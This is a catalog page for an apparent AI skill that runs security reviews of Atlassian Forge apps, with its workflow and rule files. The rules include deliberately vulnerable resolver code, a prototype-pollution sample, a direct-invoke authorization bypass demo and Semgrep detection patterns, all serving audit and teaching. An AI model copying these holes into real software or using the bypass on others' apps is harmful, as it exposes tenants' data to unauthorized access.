
Forge Security Review
- 109 installs
- 19 repo stars
- Updated August 1, 2026
- atlassian/forge-skills
forge-security-review is a Claude skill that performs a white-box, Forge-specific security review of Atlassian Forge apps and reports validated findings.
About
This skill runs a white-box security review of an Atlassian Forge app using structured, Forge-specific rules. A developer uses it to find authorization gaps, injection, tenant-isolation leaks, secrets exposure, and web-trigger weaknesses before shipping. It starts from the manifest, loads only the relevant rule categories, traces source to sink, and reports confirmed findings scored with CVSS v3.1.
- White-box security review of Atlassian Forge apps with evidence-driven findings
- Manifest-driven rule routing across authz, injection, tenant isolation, secrets, egress, and web triggers
- Scores confirmed findings with CVSS v3.1 and writes artifacts to security-audit-artifacts/
Forge Security Review by the numbers
- 109 all-time installs (skills.sh)
- Ranked #984 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 4, 2026 (Skillselion catalog sync)
forge-security-review capabilities & compatibility
- Capabilities
- security audit · authz review · tenant isolation review · static analysis
- Works with
- atlassian · jira · confluence
- Use cases
- security audit · code review
- Platforms
- Windows
What forge-security-review says it does
Runs a Forge-focused white-box security review and reports validated findings with exploitability, impact, evidence, and remediation guidance.
Do not modify app code unless the user explicitly requests fixes.
npx skills add https://github.com/atlassian/forge-skills --skill forge-security-reviewAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 109 |
|---|---|
| repo stars | ★ 19 |
| Last updated | August 1, 2026 |
| Repository | atlassian/forge-skills ↗ |
What it does
Run a white-box, Forge-specific security review of an Atlassian Forge app and report validated, CVSS-scored findings.
Who is it for?
developers auditing an Atlassian Forge app for security issues before release
Skip if: teaching defensive coding, since this skill audits rather than instructs, and it does not modify app code unless asked
When should I use this skill?
the user asks for a Forge security review, authz review, tenant-isolation analysis, or web-trigger hardening
What you get
A set of validated, CVSS-scored security findings with exploitability, impact, evidence, and remediation for a Forge app.
- validated security findings with CVSS v3.1 scores
- remediation guidance
- scan artifacts in security-audit-artifacts/
By the numbers
- 9 rule categories routed from the manifest
- 3-phase workflow: recon, rule selection, analysis
Files
Forge Security Review
Runs a Forge-focused white-box security review and reports validated findings with exploitability, impact, evidence, and remediation guidance.
Token-Efficient Default
Use manifest-driven routing by default to reduce token usage. Do not load every rule file up front.
Rule Assets
The review rules are packaged with this skill under assets/security-rules/:
- Global baseline:
assets/security-rules/_global-forge.mdc - Category indexes:
assets/security-rules/forge-*/_index-*.mdc - Category deep checks:
assets/security-rules/forge-*/*.mdc
Execution Mandate
When this skill is triggered:
1. Run static analysis first from this skill directory:
scripts/run_static_analysis.sh <forge-project-root-directory>- use
.ps1script for windows
2. Read manifest.yml first before any deep code review. 3. Load assets/security-rules/_global-forge.mdc first. 4. Load only relevant category index rules based on manifest and code signals. 5. Load deep subrules only when the matching detection heuristics are triggered by real code patterns. 6. Perform an evidence-based security review across:
- AuthN/AuthZ
- Injection and input validation
- Tenant isolation and cross-tenant leakage
- Secrets and storage
- Egress/remotes/CSP and manifest permissions
- Public entry points (web triggers)
- Agent and miscellaneous Forge security risks
7. Do not modify app code unless the user explicitly requests fixes. 8. Write all scan outputs and generated artifacts to security-audit-artifacts/.
Rule Routing Workflow
Phase 1: Reconnaissance (Mandatory)
Read manifest.yml first and extract:
permissions.scopespermissions.external.fetchpermissions.content.scriptsmodules(resolver/webtrigger/scheduledTrigger/rovo/etc.)remotesapp.runtime.name
Build an execution map:
- UI modules -> bridge calls -> resolvers/functions
- External entry points (web triggers, events, schedules)
api.asUser()vsapi.asApp()paths- Outbound fetch destinations
Phase 2: Index Rule Selection (Two-Tier Loading)
Always load first:
assets/security-rules/_global-forge.mdc
Then load only relevant category index rules:
| Signal | Load |
|---|---|
Any meaningful scope usage, mutations, or asApp() usage | assets/security-rules/forge-authn-authz/_index-authn-authz.mdc |
webtrigger or scheduledTrigger modules | assets/security-rules/forge-webtrigger-entrypoints/_index-webtrigger-entrypoints.mdc |
permissions.external.fetch or remotes | assets/security-rules/forge-egress-remotes/_index-egress-remotes.mdc |
| SQL APIs or untrusted input reaching resolver sinks | assets/security-rules/forge-injection/_index-injection.mdc |
| Multi-tenant patterns, module/global state, cache reuse | assets/security-rules/forge-tenant-isolation/_index-tenant-isolation.mdc |
| Credentials/tokens/secrets handling | assets/security-rules/forge-secrets-storage/_index-secrets-storage.mdc |
| Unsafe CSP or likely scope/config misconfiguration | assets/security-rules/forge-manifest-config/_index-manifest-config.mdc |
| Rovo modules/actions | assets/security-rules/forge-rovo-agents/_index-rovo-agents.mdc |
| Baseline logging/error/static analysis concerns | assets/security-rules/forge-auditing/_index-auditing.mdc |
| Dependency/package risk review | assets/security-rules/forge-misc/_index-misc.mdc |
Subrule policy:
- After reading an index, load only the subrules that match the detection heuristics observed in code.
- Do not pre-load every subrule in a category.
Phase 3: Analysis and Verification
For each loaded category:
1. Enumerate reachable entry points. 2. Trace source -> validation/authz -> sink. 3. Confirm exploitability with evidence. 4. Score confirmed findings with CVSS v3.1.
Focused Review Mode
If the user asks for a narrow review (for example, only authz), load:
- Global baseline
- Requested category index
- Only matching subrules in that category
Still mention any obvious critical findings observed outside scope.
Review Workflow
1. Build an execution map:
- UI Kit/Custom UI entry points
- Bridge invocations and resolver handlers
api.asUser()/api.asApp()call paths- External egress/remotes and trigger entry points
2. For each finding, trace source -> validation/authz -> sink. 3. Validate exploitability before classifying as a confirmed vulnerability. 4. Keep non-exploitable hardening observations in a separate "needs validation" section. 5. Provide file-level evidence and practical test leads for each issue.
Static Analysis Mode
If the user asks for a full scan, run the complete workflow from:
assets/security-rules/forge-auditing/static-analysis-forge.mdc
Expected tools (when available): Semgrep, npm audit, Snyk, gitleaks.
Output Requirements
- Provide a markdown security audit report.
- Order confirmed exploitable findings by CVSS v3.1 severity and impact.
- Include for each confirmed finding:
- CVSS vector and base score
- Severity band
- Exploitability and impact
- File evidence and source-to-sink trace
- CWE mapping
- Reproducible PoC/test steps with concrete commands
- Include assumptions and evidence gaps.
- Do not report scanner counts only when vulnerabilities exist.
Example Trigger Phrases
- "Review this Forge app for security"
- "Do a white-box security audit of my Forge app"
- "Check this app for authz bypass and tenant isolation issues"
- "Run full static analysis for this Forge codebase"
---
description: Global white-box security review guidance for Atlassian Forge app source code
globs:
alwaysApply: true
---
- Use precise, actionable findings with minimal prose. Prefer concrete file paths and cited code snippets; do not propose direct code edits.
- For each issue, trace data flow explicitly: source (untrusted input) -> validation/sanitization -> sink (dangerous action/API).
- For each finding, provide: exploitability, impact, practical remediation guidance (advisory only), test leads/PoCs, and references (CWE and Atlassian/Forge docs).
- Keep guidance Forge-specific: `manifest.yml`, module definitions, resolver handlers, bridge calls, web triggers, remotes, permissions, storage, and external integrations. When available, use the Forge MCP server to retrieve the latest Forge documentation and guidance.
- Prefer Auto Attached rules for folder-scoped checks and Agent Requested rules for niche vulnerability classes.
Operating mode
- Act as an audit/advisory assistant for white-box Forge security reviews; do not modify app code or provide patch diffs.
- Focus outputs on:
1) Data-flow trace (sources -> validators/sanitizers -> sinks)
2) Risk and exploitability analysis
3) Reproduction steps and PoC payloads/requests
4) Impact and affected files/components
5) References (CWE and Forge documentation pages used)
- When examples are needed, cite existing app code with code citations (start:end:path). Avoid rewriting app code.
Forge analysis checklist
- Locate and review `manifest.yml` first:
- `permissions.scopes` for least privilege and stale/redundant scopes.
- `permissions.external` and `permissions.content` for egress/CSP risk (`unsafe-inline`, overly broad domains, wildcard misuse).
- `modules` entries (`webtrigger`, product modules, function bindings, provider/remotes config).
- `remotes` trust boundaries, operations, and data residency declarations when applicable.
- Build an execution map:
- UI Kit/Custom UI entry points -> bridge calls (`invoke`) -> resolver/function handlers.
- Atlassian API calls via `api.asUser()` / `api.asApp()`, including permission checks before sensitive mutations.
- External network calls and whether destination domains are correctly declared in manifest permissions.
- Identify authn/authz boundaries:
- Verify resolver-side authorization for every sensitive action.
- Treat browser-provided context as untrusted for auth decisions.
- For `asApp` operations, verify explicit permission checks (for example, Authorize API patterns) before write/delete actions.
- Enumerate unauthenticated/external entry points:
- Web triggers are URLs and may have no built-in auth by default; verify custom auth and replay protections where needed.
- Event/scheduled handlers and remote endpoints: confirm only intended operations are exposed.
Forge-specific review priorities
- Below are priority focus areas, not an exhaustive list. Report any additional vulnerability classes discovered.
- Use this global rule as a baseline and apply all relevant Forge category-specific rules as category rules provide deeper checks and examples.
- Authentication and authorization
- Check app-level scopes vs runtime permission checks; enforce least privilege and deny-by-default logic.
- Flag missing object-level authorization (IDOR-like access through issue/content/project identifiers).
- Validate tenant/user boundary handling when reading context and performing cross-tenant operations.
- Tenant isolation and data leakage
- Verify tenant context is enforced on every data read/write path, including storage keys, entity queries, SQL access, and remote calls.
- Review global cache, module-level state, and global variable reuse at runtime to ensure tenant/user-scoped data cannot bleed across requests, invocations, or installations.
- Flag any cross-tenant access path where identifiers from one tenant can read or mutate another tenant's data, including execution of arbitrary code that can interact with global variables or Forge Lambda runtime environment which leads to cross tenant data leakage.
- Check for sensitive data exposure in logs, error messages, responses, exports, events, and analytics/telemetry payloads.
- Confirm data minimization and redaction for PII, access tokens, credentials, and app secrets across UI, function, and remote boundaries.
- Input validation and injection
- Track untrusted payloads from UI, web triggers, events, and remote callbacks into sinks (queries, templates, command execution, outbound requests).
- Verify strict schema validation at resolver and trigger boundaries.
- Secrets and sensitive data
- Flag hard-coded credentials, API keys, or tokens in source/config.
- Verify secure secret handling patterns (Forge variables with encryption where applicable); avoid logging secrets or tokens.
- Verify storage of credentials/tokens is minimized, scoped, and protected.
- Egress, remotes, providers and other integrations
- Confirm all outbound domains are explicitly allowlisted in manifest permissions.
- Flag overly broad external permissions and unsafe CSP relaxations.
- Review remote trust assumptions, data residency implications, and token forwarding boundaries.
- Session-like and request protections
- For web triggers and custom endpoints, verify request authentication, integrity checks, anti-replay controls, and abuse protections (rate limiting/throttling).
Mandatory Reporting standards (Hard Requirement)
- The categories below are minimum expected reporting elements, not a limit on what can be reported.
- When category-specific Forge rules exist, align reporting detail and terminology with those rules in addition to this global baseline.
- Create a security audit report in markdown summarizing overall security posture with attack surface and entry points; authentication and authorization; tenant isolation and cross-tenant access risk; input validation and injection paths; external egress/remotes and trust boundaries; secret/token/PII handling and leakage vectors; storage/SQL/data lifecycle controls; web trigger and event abuse paths; high-risk sinks and exploit chains; compensating controls; and evidence gaps requiring runtime verification.
- Score every **Confirmed Exploitable Finding** with CVSS v3.1 and include:
- Vector string (e.g., `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L`)
- Base score (0.0-10.0)
- Severity band (None/Low/Medium/High/Critical)
- Metric-by-metric justification tied to code evidence and exploit pathOrder findings by CVSS severity and security impact.
- Order findings by CVSS severity and security impact, if two findings have the same CVSS, place the one with greater real-world business/security impact first.
- Do not report a finding without code evidence where possible: include file path, function/symbol, and code snippet proving source-to-sink reachability and the missing/insufficient control.
- Mandatory Reproducible PoC Format (Hard Requirement)
- For each finding, include a reproducible dynamic test plan and clear PoC in numbered steps: setup, exact execution commands/requests, actual request payloads such as forge graphql query, success criteria, expected vulnerable behavior, and the secure/expected behavior for comparison.
- provide copy-pasteable commands (no pseudocode), using at least one of:
- `curl` request(s), or
- `forge` CLI command(s), `invokeExtension` GraphQL payload or
- a complete Proof of Concept script (such as `poc.js`)
- include full request path, method, headers, and body
- include concrete payload values; if unknown, first provide exact discovery command(s) to obtain them, then provide final command(s) with placeholders clearly labeled as runtime values.
- Do not label logging/error handling risk, hardening advice, or telemetry/privacy concerns as vulnerabilities unless exploitability is demonstrated. Instead, report them under Security Concerns (Needs Validation) section after Confirmed Exploitable Findings.
- However, avoid under-reporting critical classes (RCE, SQLi, XSS, hardcoded secret, SSRF).
- Call out assumptions, unknowns, and evidence gaps that require runtime verification.
- Advice for further testing and avoid making direct edits to code with remediation. Avoid speculative or overbroad changes.
- Ignore test files with security vulnerabilities that aren't exploitable.
- For dependency findings, include: package, installed version, vulnerable range, fixed version/no-fix status, upgrade path, severity, and CVE/GHSA/CWE references with file-path evidence.
- Any generated outputs/scanner artifacts MUST be stored under `security-audit-artifacts/` i.e. in a single dedicated subdirectory, never in repository root.
Notes
- Nested rules in subdirectories should auto-attach when files in those folders are in scope.
- Keep rule files focused and concise; split large topics into dedicated subrules under Forge domains.
---
description: Forge auditing rules index (logging, error handling, SAST). Auto-attached for forge-auditing/**
globs:
- forge-auditing/**
alwaysApply: false
---
- Scope: Logging practices, error handling, static analysis tooling, and observability for Forge apps.
Key Forge Auditing Concerns
- Sensitive data in logs: Tokens, credentials, PII written to console or log outputs.
- Verbose error messages: Stack traces or internal details exposed to users.
- Missing security logging: Lack of audit trails for sensitive operations.
- SAST tool configuration: Ensuring Forge-specific patterns are covered by scanners.
Subrules
- Logging Security → `@forge-auditing/logging-security.mdc`
- Error Handling → `@forge-auditing/error-handling.mdc`
- Static Analysis for Forge → `@forge-auditing/static-analysis-forge.mdc`
Detection Heuristics
- Search for `console.log`, `console.error`, `logger.*` calls that include sensitive variable names.
- Check error handlers for information leakage (stack traces, internal paths, query details).
- Verify SAST configurations include Forge-specific rules (SQL API, storage, resolvers).
SAST Tools for Forge
- Semgrep: Custom rules for Forge patterns (sql.executeRaw, dangerouslySetInnerHTML, etc.)
- FSRT: Forge Static Review Tool for AuthN/AuthZ and secrets scanning
- Snyk: SCA for dependency vulnerabilities
Forge-Specific Logging Concerns
- Lambda logs are aggregated; ensure tenant context doesn't leak across log entries.
- Forge provides built-in logging via `console`; review what's captured.
- Error responses should not include internal implementation details.
CWE References
- CWE-778: Insufficient Logging
- CWE-209: Information Exposure Through an Error Message
- CWE-117: Improper Output Neutralization for Logs
- CWE-532: Insertion of Sensitive Information into Log File
---
description: Static analysis tools and patterns for Forge app security review
globs:
alwaysApply: false
---
Context
- Static analysis for Forge apps requires Forge-specific rules in addition to standard JavaScript/TypeScript scanning.
- Key tools: FSRT (Forge Static Review Tool), Semgrep, Snyk, ESLint security plugins.
Forge-Specific SAST Tools
Semgrep for Forge
```bash
# Install semgrep
brew install semgrep # macOS
# or
pip install semgrep
# Run with JavaScript security rules
semgrep --config p/javascript > semgrep-js.json
semgrep --config p/typescript > semgrep-ts.json
semgrep --config p/nodejsscan > semgrep-node.json
# Run with custom Forge rules
semgrep --config ./forge-rules/ > semgrep-forge.json
```
Custom Semgrep Rules for Forge
```yaml
# forge-sql-injection.yaml
rules:
- id: forge-sql-injection-executeraw
patterns:
- pattern-either:
- pattern: sql.executeRaw(`... ${$VAR} ...`)
- pattern: sql.executeRaw("..." + $VAR + "...")
message: "SQL injection risk in sql.executeRaw - use bindParams"
severity: ERROR
languages: [javascript, typescript]
- id: forge-sql-injection-prepare
patterns:
- pattern: sql.prepare(`... ${$VAR} ...`).execute()
message: "SQL injection risk - prepare without bindParams"
severity: ERROR
languages: [javascript, typescript]
- id: forge-asapp-no-authz
patterns:
- pattern: |
resolver.define($NAME, async ({ payload, context }) => {
...
const $API = asApp();
...
})
- pattern-not: |
resolver.define($NAME, async ({ payload, context }) => {
...
if (...) { throw ... }
...
const $API = asApp();
...
})
message: "asApp() without apparent authorization check"
severity: WARNING
languages: [javascript, typescript]
- id: forge-dangerouslysetinnerhtml
pattern: dangerouslySetInnerHTML={{ __html: $VAR }}
message: "dangerouslySetInnerHTML - verify XSS sanitization"
severity: WARNING
languages: [javascript, typescript]
- id: forge-dynamic-code-execution
patterns:
- pattern-either:
- pattern: new Function(...)
- pattern: new AsyncFunction(...)
- pattern: eval(...)
message: "Dynamic code execution - high RCE risk"
severity: ERROR
languages: [javascript, typescript]
```
Snyk for SCA
```bash
# Scan dependencies for vulnerabilities
snyk test --severity-threshold=low --json > snyk-results.json
# Key checks:
# - Known CVEs in dependencies
# - Outdated packages
# - License compliance
```
Analysis Workflow
```bash
# 1. Manifest Analysis
cat manifest.yml | yq '.permissions'
# Check scopes, external permissions, CSP
# 2. FSRT Scan
fsrt scan --path . --output fsrt-results.json
# 3. Semgrep Scan
semgrep --config p/javascript --config p/typescript \
--config ./forge-rules/ --json > semgrep-results.json
# 4. Dependency Scan
snyk test --json > snyk-results.json
npm audit --json > npm-audit.json
# 5. Secret Scanning
gitleaks detect --source . --report-format json > secrets.json
# 6. Triage and Correlate
# Combine results, remove duplicates, prioritize
```
Detection Patterns Summary
| Category | Pattern | Tool |
|----------|---------|------|
| SQL Injection | `sql.executeRaw(\`...${}\`)` | Semgrep |
| XSS | `dangerouslySetInnerHTML` + unsafe-inline | Semgrep + Manifest |
| RCE | `new Function()`, `eval()` | Semgrep |
| AuthZ | `asApp()` without checks | FSRT, Semgrep |
| Secrets | Basic auth, API keys | Gitleaks, FSRT |
| Dependencies | CVEs in node_modules | Snyk, npm audit |
False Positive Reduction
```yaml
# Exclude test files
semgrep --exclude='**/test/**' --exclude='**/*.test.*'
# Exclude node_modules
semgrep --exclude='**/node_modules/**'
# Exclude webpack output
semgrep --exclude='**/webpack/**' --exclude='**/dist/**'
# Exclude bundled/minified files
semgrep --exclude='**/*.min.js' --exclude='**/bundled/**'
```
Triage Guidance
```
1. Critical Priority:
- SQL injection with user input
- RCE via dynamic code execution
- Hardcoded production secrets
- asApp without authorization
2. High Priority:
- XSS with unsafe-inline CSP
- Prototype pollution
- Web trigger without auth
- Global state tenant isolation
3. Medium Priority:
- Excessive scopes
- Wildcard external permissions
- Missing input validation
- Secrets in logs
4. Low Priority:
- Informational findings
- Best practice deviations
- Unused code patterns
```
Reporting Template
```markdown
## Finding: [Title]
- **Severity**: Critical/High/Medium/Low
- **Category**: SQLi/XSS/AuthZ/etc.
- **Tool**: Semgrep/FSRT/Snyk
- **File**: path/to/file.js
- **Line**: 42
- **Pattern**: `sql.executeRaw(\`SELECT * FROM users WHERE id = ${userId}\`)`
- **Data Flow**: payload.userId → resolver → sql.executeRaw
- **CWE**: CWE-89
- **Remediation**: Use sql.prepare with bindParams
```
Reporting Requirements
```text
For npm audit and snyk, deduplicated analysis report per unique vuln, ensure you print:
- package name
- installed/resolved vulnerable version
- vulnerable semver range
- fixed version(s) or explicit “no fix available”
- upgrade path (direct/transitive)
- severity, CVE/GHSA/CWE
- evidence path from lockfile and scanner JSON
Do not return only counts when vulnerabilities exist.
All generated scan outputs MUST be written under a single directory:
`/security-audit-artifacts/`
- NEVER write outputs or scanner artifacts to project root.
```
---
description: Forge authentication and authorization rules index. Auto-attached for forge-authn-authz/**
globs:
- forge-authn-authz/**
alwaysApply: false
---
- Scope: Authentication mechanisms, authorization checks, privilege boundaries, and access control in Forge apps.
- Priority: Broken Authentication and Session Management is the #1 bug bounty category (~43% of submissions).
Key Forge AuthN/AuthZ Risks
- `asApp()` vs `asUser()` privilege escalation: asApp has broader permissions than asUser; missing authz checks before asApp calls.
- Display conditions are NOT authorization: Display conditions only hide UI; attackers can invoke modules directly via GraphQL.
- Web triggers lack built-in auth: Must implement custom authentication and validation.
- Resolver-side authorization missing: Client-provided context is untrusted; all sensitive actions require server-side checks.
- Forge context manipulation: Elements of context can be attacker-controlled (EPSP-300).
Subrules
- asApp Privilege Escalation → `@forge-authn-authz/asapp-privilege-escalation.mdc`
- Prefer Using Function Context Object → `@forge-authn-authz/prefer-context-authz.mdc`
- Missing Resolver Authorization → `@forge-authn-authz/missing-resolver-authz.mdc`
- Display Conditions Bypass → `@forge-authn-authz/display-conditions-bypass.mdc`
<!-- - Web Trigger Authentication → `@forge-authn-authz/webtrigger-auth.mdc`
- IDOR and Object-Level AuthZ → `@forge-authn-authz/idor-object-authz.mdc`
- Forge Context Trust Boundaries → `@forge-authn-authz/context-trust-boundaries.mdc` -->
Detection Heuristics
- Search for `asApp()` calls without preceding permission/role checks.
- Identify resolvers that access/mutate data based solely on payload IDs without ownership validation.
- Look for display conditions in manifest without corresponding resolver-side authorization.
- Find web triggers without authentication header validation or signature checks.
Dynamic Testing Tools
- Direct GraphQL invocation to bypass UI
- Multi-account testing for privilege boundaries
CWE References
- CWE-862: Missing Authorization
- CWE-863: Incorrect Authorization
- CWE-284: Improper Access Control
- CWE-306: Missing Authentication for Critical Function
---
description: Detect privilege escalation risks via asApp() calls without proper authorization checks
globs:
alwaysApply: false
---
Context
- `asApp()` operates with the app's full permissions, which typically exceed those of `asUser()`. This creates privilege escalation risks when asApp is used without verifying the requesting user has permission for the action.
- For user-invoked actions, default to `asUser()` when possible. If `asApp()` is required, perform explicit permission verification for the same target resource before the `asApp()` sink.
- Related CWE: CWE-269 (Improper Privilege Management), CWE-862 (Missing Authorization).
- Past issues: EPSP-301, VULN-1628326 (Rovo A4J elevated privileges).
Scope & Signals
- Sources: Resolver payloads, web trigger requests, event payloads, Rovo agent actions.
- Sinks: `api.asApp().requestJira()`, `api.asApp().requestConfluence()`, `api.asApp().requestBitbucket`, `api.asApp().requestGraph` and other request types, storage mutations, any state-changing operations.
- Red flags:
- `asApp()` calls immediately after receiving payload without permission checks.
- Authorization checks that are missing, generic, or not bound to the same resource ID used by the sink call.
- Using `asApp()` for operations the requesting user couldn't perform directly and not checking user permissions.
- Missing validation that the user owns or has access to the target resource.
Vulnerable Patterns
```javascript
// VULNERABLE - user-controlled target reaches asApp sink with no authz check
resolver.define('updateIssue', async ({ payload }) => {
await api.asApp().requestJira(route`/rest/api/3/issue/${payload.issueId}`, {
method: 'PUT',
body: JSON.stringify(payload.fields)
});
});
// VULNERABLE - check is not coupled to the same resource used in asApp sink
resolver.define('transitionIssue', async ({ payload }) => {
// Checks permission on payload.issueId ...
const canEdit = await authorize().onJiraIssue(payload.issueId).canEdit();
if (!canEdit) throw new Error('Forbidden');
// ... but mutates payload.targetIssueId (attacker-controlled)
await api.asApp().requestJira(route`/rest/api/3/issue/${payload.targetIssueId}/transitions`, {
method: 'POST',
body: JSON.stringify({ transition: { id: payload.transitionId } })
});
});
```
Secure Patterns
```javascript
// SECURE - prefer asUser when operation should respect caller permissions
resolver.define('updateIssueAsUser', async ({ payload }) => {
return api.asUser().requestJira(route`/rest/api/3/issue/${payload.issueId}`, {
method: 'PUT',
body: JSON.stringify(payload.fields)
});
});
// SECURE - asApp only after explicit permission check on same resource
resolver.define('updateIssueAsApp', async ({ payload }) => {
const canEdit = await authorize().onJiraIssue(payload.issueId).canEdit();
if (!canEdit) {
throw new Error('Forbidden');
}
return api.asApp().requestJira(route`/rest/api/3/issue/${payload.issueId}`, {
method: 'PUT',
body: JSON.stringify(payload.fields)
});
});
// SECURE - explicit permission check via Forge auth + permissions/check endpoint
resolver.define('updateIssueWithExplicitPermissionEndpoint', async ({ payload }) => {
const permissionRes = await api.asUser().requestJira(route`/rest/api/3/permissions/check`, {
method: 'POST',
headers: {
Accept: 'application/json',
'Content-Type': 'application/json'
},
body: JSON.stringify({
projectPermissions: [
{
permissions: ['EDIT_ISSUES'],
issues: [Number(payload.issueId)]
}
]
})
});
const permissionJson = await permissionRes.json();
const canEdit = permissionJson?.projectPermissions?.some(
(grant) =>
grant.permission === 'EDIT_ISSUES' &&
Array.isArray(grant.issues) &&
grant.issues.includes(Number(payload.issueId))
) === true;
if (!canEdit) {
throw new Error('Forbidden');
}
// Uses the same issueId that was authorized above.
return api.asApp().requestJira(route`/rest/api/3/issue/${payload.issueId}`, {
method: 'PUT',
body: JSON.stringify(payload.fields)
});
});
```
Detection Checklist
- [ ] Identify all `asApp()` usage sites in resolvers, functions, and handlers.
- [ ] For each `asApp()` call in a user-invoked flow, verify an explicit permission check exists before the sink.
- [ ] Confirm the authorization check is coupled to the same resource ID(s) used by the `asApp()` operation.
- [ ] Reject generic checks (for example, global role checks) when object-level permissions are required.
- [ ] Confirm asUser() is used when the operation should respect user's permissions.
- [ ] Review Rovo agent actions for asApp usage without Convo AI authorization context.
Prototype Pollution to asApp Escalation
In RuntimeV2, prototype pollution can enable asUser-to-asApp escalation by injecting headers:
```javascript
// If attacker can pollute Object.prototype with fetch options,
// asUser() calls may be upgraded to asApp() by injecting headers
const people = {
joshua: { team: "EcoAppSec" }
};
function unsafe_merge(tgt, src) {
let { ident, keys } = src;
let foo = tgt[ident];
for (const k of Object.keys(keys)) {
foo[k] = keys[k];
}
}
// payload is an attacker controlled object
async function vulnerable_function({ payload }) {
unsafe_merge(people, payload);
// Object.prototype is potentially polluted past this point
}
resolver.define("anon", vulnerable_function);
```
PoC / Test Leads
- Call resolver with arbitrary resource IDs (issueId, attachmentId, pageId) as a low-privilege user.
- Verify operations fail when targeting resources the user shouldn't access.
- Test cross-project and cross-space access with asApp-backed resolvers.
- For Rovo agents, test if agent actions respect user's content restrictions.
Remediation Guidance (advisory)
- Default to `asUser()` unless app-level permissions are explicitly required.
- Treat user-invoked `asApp()` mutations as high risk unless explicit permission checks are present.
- Always verify user permission before any `asApp()` operation on user-specified resources.
- Use Forge Authorize API or product permission APIs, and bind checks to the exact target resource IDs used in the sink call.
- Document why asApp is necessary for each use case.
- Consider using the Authorize API or explicit permissions API pattern for sensitive mutations.
Reporting Guidance
- Cite specific resolver/function and the asApp call site.
- Document the missing authorization check and the potential impact (IDOR, privilege escalation).
- Provide test case with resource ID manipulation.
- Map to CWE-269, CWE-862; reference EPSP-301 pattern.
---
description: Detect reliance on display conditions as authorization controls in Forge apps
globs:
alwaysApply: false
---
Context
- Forge display conditions only control UI visibility; they do NOT provide authorization. Attackers can bypass hidden UI by directly invoking resolvers via GraphQL or the bridge.
- Related CWE: CWE-862 (Missing Authorization), CWE-656 (Reliance on Security Through Obscurity).
- Documented footgun: PBAC-292 - Display conditions mistaken for authorization.
The Security Gap
```
Display Condition: "Only show admin panel if user.isAdmin"
User View (Normal): Attacker View:
┌─────────────────────┐ ┌─────────────────────┐
│ Regular UI │ │ Direct invoke() │
│ (Admin hidden) │ │ to resolver │
└─────────────────────┘ └─────────────────────┘
↓ ↓
Can't see admin Calls admin resolver
features DIRECTLY - bypasses UI!
```
Vulnerable Patterns
```yaml
# manifest.yml - Display condition gives false sense of security
modules:
jira:issuePanel:
- key: admin-panel
title: Admin Settings
function: adminPanelResolver
displayConditions:
- condition: user_is_admin # ONLY hides UI!
```
```javascript
// VULNERABLE - Resolver assumes display condition provides auth
resolver.define('getAdminConfig', async ({ payload, context }) => {
// No authorization check! Assumes only admins can call this
// because display condition hides the UI
const config = await storage.getSecret('admin-config');
return config;
});
// VULNERABLE - Resolver trusts that hidden UI means no access
resolver.define('deleteAllData', async ({ payload }) => {
// "Only admins see the delete button" is NOT authorization!
await dangerousDeleteOperation();
return { success: true };
});
```
Secure Patterns
```javascript
// SECURE - Authorization in resolver regardless of display conditions
resolver.define('getAdminConfig', async ({ payload, context }) => {
// Verify admin status server-side
const isAdmin = await checkUserIsAdmin(context.accountId);
if (!isAdmin) {
throw new Error('Admin access required');
}
const config = await storage.getSecret('admin-config');
return config;
});
// SECURE - Full authorization check
resolver.define('deleteAllData', async ({ payload, context }) => {
// Check permission via Atlassian API
const api = asUser();
const perms = await api.requestJira(
route`/rest/api/3/mypermissions?permissions=ADMINISTER_PROJECTS`
);
if (!perms.permissions.ADMINISTER_PROJECTS.havePermission) {
throw new Error('Insufficient permissions');
}
await dangerousDeleteOperation();
return { success: true };
});
```
Detection Checklist
- [ ] Find all `displayConditions` in manifest.yml modules.
- [ ] For each conditional module, identify associated resolvers/functions.
- [ ] Check if those resolvers have independent authorization checks.
- [ ] Flag resolvers that assume display conditions provide security.
- [ ] Look for admin/privileged resolvers without server-side auth.
Bypass Demonstration
```javascript
// Attacker can call hidden resolver directly:
import { invoke } from '@forge/bridge';
// This works even if UI is hidden by displayConditions!
const adminConfig = await invoke('getAdminConfig', {});
console.log(adminConfig); // Sensitive data exposed
```
Display Condition Types (All Bypassable)
```yaml
# All of these only hide UI - none provide authorization:
displayConditions:
- condition: user_is_admin
- condition: user_is_logged_in
- condition: has_project_permission
params:
permission: ADMINISTER_PROJECTS
- condition: entity_property_exists
params:
propertyKey: feature-enabled
```
PoC / Test Leads
- Identify a module with displayConditions.
- As a non-qualifying user, directly call `invoke('resolverName', payload)`.
- Verify if the resolver returns data or performs actions.
- Test admin-only features as regular user via direct invocation.
Remediation Guidance (advisory)
- Treat display conditions as UX convenience only.
- Implement full authorization in every resolver, regardless of UI visibility.
- Use `context.accountId` with Atlassian permission APIs for verification.
- Document that display conditions provide defense-in-depth, not authorization.
- Add warning comments in resolvers that correspond to conditional modules.
Reporting Guidance
- List modules with displayConditions and their resolvers.
- Document missing authorization in corresponding resolvers.
- Provide bypass PoC using direct invoke().
- Explain impact of unauthorized access.
- Map to CWE-862, CWE-656.
---
description: Detect missing authorization checks in Forge resolvers for sensitive operations
globs:
alwaysApply: false
---
Context
- Forge resolvers handle requests from Custom UI via the bridge `invoke()` call. The browser context is untrusted; all authorization must happen server-side in the resolver.
- There is no separate "admin resolver" vs "user resolver" at the platform level. Every resolver handler attached to a module is invokable by any user who can load that app surface (e.g. issue panel, macro). The frontend calls resolvers via `invoke(resolverKey, payload)` from `@forge/bridge`; display conditions only hide UI and do not block invocation.
- Related CWE: CWE-862 (Missing Authorization), CWE-863 (Incorrect Authorization).
- Authentication ≠ Authorization. A user being signed in (authenticated) does NOT mean they have access to all resources in the payload (authorization).
- Common issues:
- Relying on client-side checks or display conditions instead of resolver-side authorization.
- Resolvers intended for admins only (e.g. getSecretConfig, adminAction) can be invoked by a normal user if the resolver does not enforce authorization server-side. The same handler code path runs regardless of who called it.
Scope & Signals
- Sources: `payload` parameter in resolver definitions, `context` object.
- Trust boundary: Everything from the client (payload, UI state) is untrusted.
- Red flags:
- Resolvers that mutate data without checking user role/permissions.
- Direct use of payload IDs to access resources without ownership validation.
- Assuming display conditions provide authorization.
